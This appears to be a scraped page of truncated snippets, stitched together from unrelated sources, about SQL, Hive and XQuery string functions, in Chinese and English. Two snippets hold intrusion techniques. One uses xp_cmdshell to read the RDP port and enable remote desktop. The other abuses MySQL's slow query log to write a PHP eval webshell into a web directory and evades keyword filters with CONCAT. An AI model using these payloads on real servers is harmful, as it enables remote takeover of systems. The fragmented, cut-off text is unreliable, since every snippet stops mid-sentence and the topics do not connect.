WITH XMLNAMESPACES ('https://schemas.microsoft.com/sqlserver/2004/07/adventure-works/ProductModelDescription' AS pd) SELECT ProductModelID, CatalogDescription.query(' <Prod>{ substring(string((/pd:ProductDescription/pd:Summary)[1]), 1, 50) }</Prod> ') as Result FROM Production.ProductModel wh...
字符串截取函数: substr(string A, int start, int len) 字符串转大写函数: upper(string A) 字符串转小写函数:lower(string A) 去空格函数:trim(string A) 左边去空格函数:ltrim(string A) 右边去空格函数:rtrim(string A) 正则表达式替换函数:regexp_replace(string A, string B, string C) 正则表达式...
不带参数的 string-length()只能在谓词内使用。 例如,以下查询返回 <ROOT> 元素: DECLARE @x xml; SET @x='<ROOT>Hello</ROOT>'; SELECT @x.query('/ROOT[string-length()=5]'); 补充字符(代理项对) XQuery 函数中代理对的行为依赖于数据库兼容级别,并且在某些情况下,还依赖于函数的默认命名空间 URI...
LOCATE (which, as you can see, reverses the order of the first two arguments, like this: substring,string) will take a starting position argument, although not an instance argument. You could, however, use LOCATE to find all instances of a substring by using a loop that successively sets ...
语法1: substr(string A, int start),substring(string A, int start) 返回值: string 说明:返回字符串A从start位置到结尾的字符串 语法2: substr(string A, int start, int len),substring(string A, int start, int len) 返回值: string 说明:返回字符串A从start位置开始,长度为len的字符串 select t1...
返回值: string 说明:将字符串subject按照pattern正则表达式的规则拆分,返回index指定的字符。 14、URL解析函数:parse-url 语法:parse_url(string urlString,string partToExtract[,stringkeyToExtract]) 返回值:string 说明:返回URL中指定的部分。partToExtract的有效值为:HOST,PATH,QUERY,REF,PROTOCOL,AUTHORITY,FILE...
获取RDP端口号execmaster..xp_cmdshell'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'#得到PortNumberREG_DWORD0xd3d,转换后就是3389execmaster..xp_cmdshell'tasklist /svc | find "TermService" '#开启3389Windows2003开启:REGADD\"HKLM\...
set global slow_query_log=1; set global slow_query_log_file='D://404.php' select '<?php eval($_POST['404']) ?>' or sleep(15); //只有执行时间比较长的才会写入 1. 2. 3. 4. 5. 6. 写文件关键字过滤 过滤php set global general_log_file=CONCAT("/var/www/html/1.p","hp");...
SQL提供了各种字符串函数，用于操作和转换文本数据。像CONCAT、SUBSTRING、REPLACE和UPPER/LOWER这样的函数...
Add prefix in data column Add Time in SQL HH:MM:SS to another HH:MM:SS Adding a column to a large (100 million rows) table with default constraint adding a extra column in a pivot table created uisng T-SQL Pivot Table query Adding a partition scheme to an existing table. Adding a ...